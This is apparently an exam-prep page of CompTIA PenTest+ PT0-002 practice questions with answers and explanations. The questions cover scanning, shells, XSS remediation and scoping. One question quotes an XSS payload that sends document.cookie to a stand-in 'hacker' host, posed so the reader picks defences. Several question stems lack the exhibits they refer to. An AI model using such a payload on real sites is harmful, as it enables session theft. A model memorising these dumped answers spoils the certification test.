[Feb-2025] PT0-002 Pre-Exam Practice Tests | Exam Questions and Answers for CompTIA PenTest+ Study Guide
CompTIA PenTest+ Certification Certification Sample Questions
The PT0-002 certification exam is ideal for professionals who are responsible for identifying and mitigating security vulnerabilities, such as Penetration Testers, Security Analysts, Vulnerability Assessment Analysts, and Security Consultants. CompTIA PenTest+ Certification certification also benefits individuals looking to enhance their careers in cybersecurity and IT. By earning the CompTIA PT0-002 certification, individuals can demonstrate to employers that they have the skills and knowledge needed to become a valuable asset to their organization's security team.
NEW QUESTION # 205
The results of an Nmap scan are as follows:
Which of the following would be the BEST conclusion about this device?
- A. This device is most likely a proxy server forwarding requests over TCP/443.
- B. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- C. This device is most likely a gateway with in-band management services.
- D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.
Answer: C
Explanation:
The heart bleed bug is an open ssl bug which does not affect SSH Ref:
https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh
NEW QUESTION # 206
A penetration tester writes the following script:
Which of the following is the tester performing?
- A. Scanning a network for specific open ports
- B. Searching for service vulnerabilities
- C. Trying to recover a lost bind shell
- D. Building a reverse shell listening on specified ports
Answer: A
Explanation:
-z zero-I/O mode [used for scanning]
-v verbose
example output of script:
10.0.0.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out
https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for
NEW QUESTION # 207
A penetration tester gains access to a system and is able to migrate to a user process:
Given the output above, which of the following actions is the penetration tester performing? (Choose two.)
- A. Executing a file on the remote system
- B. Creating a new process on all domain systems
- C. Setting up a reverse shell from a remote system
- D. Building a scheduled task for execution
- E. Adding an additional IP address on the compromised system
- F. Redirecting output from a file to a remote system
- G. Mapping a share to a remote system
Answer: A,G
Explanation:
WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.
NEW QUESTION # 208
A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?
- A. Asset inventory
- B. Full scan
- C. Web-application scan
- D. DNS records
Answer: A
NEW QUESTION # 209
During an assessment, a penetration tester found a suspicious script that could indicate a prior compromise.
While reading the script, the penetration tester noticed the following lines of code:
Which of the following was the script author trying to do?
- A. Disable NIC.
- B. List processes.
- C. Spawn a local shell.
- D. Change the MAC address
Answer: C
Explanation:
The script author was trying to spawn a local shell by using the os.system() function, which executes a command in a subshell. The command being executed is "/bin/bash", which is the path to the bash shell, a common shell program on Linux systems. The script author may have wanted to spawn a local shell to gain more control or access over the compromised system, or to execute other commands that are not possible in the original shell. The other options are not plausible explanations for what the script author was trying to do.
NEW QUESTION # 210
A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
- A. Option A
- B. Option C
- C. Option B
- D. Option D
Answer: A
Explanation:
Reference: https://research.securitum.com/http-2-protocol-it-is-faster-but-is-it-also-safer/
NEW QUESTION # 211
Which of the following documents would be the most helpful in determining who is at fault for a temporary outage that occurred during a penetration test?
- A. Non-disclosure agreement
- B. Business associate agreement
- C. Assessment scope and methodologies
- D. Executive summary
Answer: C
Explanation:
The assessment scope and methodologies document defines the objectives, boundaries, rules of engagement, and expected outcomes of a penetration testing engagement. It also specifies the roles and responsibilities of the testers and the clients, as well as the communication channels and escalation procedures. This document can help determine who is at fault for a temporary outage that occurred during a penetration test, as it can clarify whether the outage was within the agreed scope and methodologies, or whether it was caused by a violation of the rules of engagement or a lack of coordination. References:
*CompTIA PenTest+ Certification Exam Objectives, Domain 1.0 Planning and Scoping, Objective 1.1: Given a scenario, explain the importance of scoping an engagement properly.
*The Official CompTIA PenTest+ Instructor and Student Guides (PT0-002), Lesson 1: Planning and Scoping Penetration Tests, Topic 1.1: Introduction to Penetration Testing Concepts, Topic 1.2: The Penetration Testing Process, Topic 1.3: Planning and Scoping Penetration Tests.
NEW QUESTION # 212
During a code review assessment, a penetration tester finds the following vulnerable code inside one of the web application files:
<% String id = request.getParameter("id"); %>
Employee ID: <%= id %>
Which of the following is the best remediation to prevent a vulnerability from being exploited, based on this code?
- A. Parameterized queries
- B. Patch application
- C. Output encoding
Answer: C
Explanation:
Output encoding is a technique that prevents cross-site scripting (XSS) attacks by encoding the user input before displaying it on the web page. This way, any malicious scripts or HTML tags are rendered harmless and cannot execute on the browser. Output encoding is recommended by the OWASP Top 10 as a defense against XSS1. In this case, the vulnerable code is using a scriptlet to display the employee ID without any validation or encoding, which could allow an attacker to inject malicious code through the id parameter. Output encoding would prevent this by escaping any special characters in the id parameter. Reference: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 4, Section 4.2.1: Cross-site Scripting; Best PenTest+ certification study resources and training materials, Section 1: Cross-site Scripting (XSS) Attack; OWASP Top 10 2021, A7: Cross-site Scripting (XSS).
NEW QUESTION # 213
A penetration tester created the following script to use in an engagement:
However, the tester is receiving the following error when trying to run the script:
Which of the following is the reason for the error?
- A. The argv module was not imported.
- B. The sys variable was not defined.
- C. The sys module was not imported.
- D. The argv variable was not defined.
Answer: B
NEW QUESTION # 214
A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the
following is the BEST option for the tester to take?
- A. Scan the firewall for vulnerabilities.
- B. Notify the client about the firewall.
- C. Apply patches to the firewall.
- D. Segment the firewall from the cloud.
Answer: B
Explanation:
The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.
NEW QUESTION # 215
The following line-numbered Python code snippet is being used in reconnaissance:
Which of the following line numbers from the script MOST likely contributed to the script triggering a
"probable port scan" alert in the organization's IDS?
- A. Line 07
- B. Line 01
- C. Line 02
- D. Line 08
Answer: B
NEW QUESTION # 216
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?
- A. Access controls on the server
- B. A patch management program
- C. Stronger algorithmic requirements
- D. Encryption on the user passwords
Answer: C
NEW QUESTION # 217
Within a Python script, a line that states print (var) outputs the following:
[{'1' : 'CentOS', '2' : 'Ubuntu'), {'1' : 'Windows 10', '2' : 'Windows Server 2016'}] Which of the following objects or data structures is var ?
- A. An array
- B. A dictionary
- C. A list
- D. A class
Answer: C
Explanation:
A list is a data structure in Python that can store multiple values of different types in a sequential order. A list is created by enclosing the values in square brackets [ ] and separating them by commas. A list can also contain other lists as its elements, creating a nested or multidimensional list. The output of the print (var) statement shows that var is a list that contains two elements, each of which is another list with two key-value pairs. The key-value pairs are enclosed in curly braces { }, which indicate that they are dictionaries, another data structure in Python that maps keys to values. Therefore, var is a list of dictionaries. References:
* 5.Data Structures - Python 3.12.1 documentation1, section 5.1. More on Lists
*Python Data Structures - GeeksforGeeks2, section Lists in Python
*Common Python Data Structures (Guide) - Real Python3, section Lists
NEW QUESTION # 218
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Base64 encoding
- B. Parameterized queries
- C. Input validation
- D. Web-application firewall
- E. Output encoding
- F. Session tokens
Answer: C,E
Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.
NEW QUESTION # 219
A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?
- A. Deauthentication
- B. Replay
- C. Key reinstallation
- D. Evil twin
Answer: A
Explanation:
Deauth will make the client connect again
NEW QUESTION # 220
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
Answer:
Explanation:
Explanation:
The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.
The two entries in the robots.txt file that the penetration tester should recommend for removal are:
* Allow: /admin
* Allow: /wp-admin
These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application's backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.
NEW QUESTION # 221
A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?
- A. inurl:
- B. link:
- C. intitle:
- D. site:
Answer: D
Explanation:
The site: command can be used to restrict searches on Google to a specific domain. For example, site:
company.com will return only results from the company.com domain. This can help the penetration tester to find information or pages related to the target domain.
NEW QUESTION # 222
......
CompTIA PT0-002 certification is ideal for professionals such as penetration testers, cybersecurity analysts, ethical hackers, and other security professionals. CompTIA PenTest+ Certification certification ensures that the candidate has the necessary skills to identify vulnerabilities and carry out successful attacks in a controlled environment. CompTIA PenTest+ Certification certification also validates the ability to create effective remediation strategies and report findings to management. A successful candidate can demonstrate critical thinking, problem-solving, and technical skills required to perform penetration testing effectively.
CompTIA Exam Practice Test To Gain Brilliante Result: https://www.actualtestsit.com/CompTIA/PT0-002-exam-prep-dumps.html
Tested Material Used To PT0-002: https://drive.google.com/open?id=1pLTkneKlYkRUz628uCYfG2AWXyWoGbUn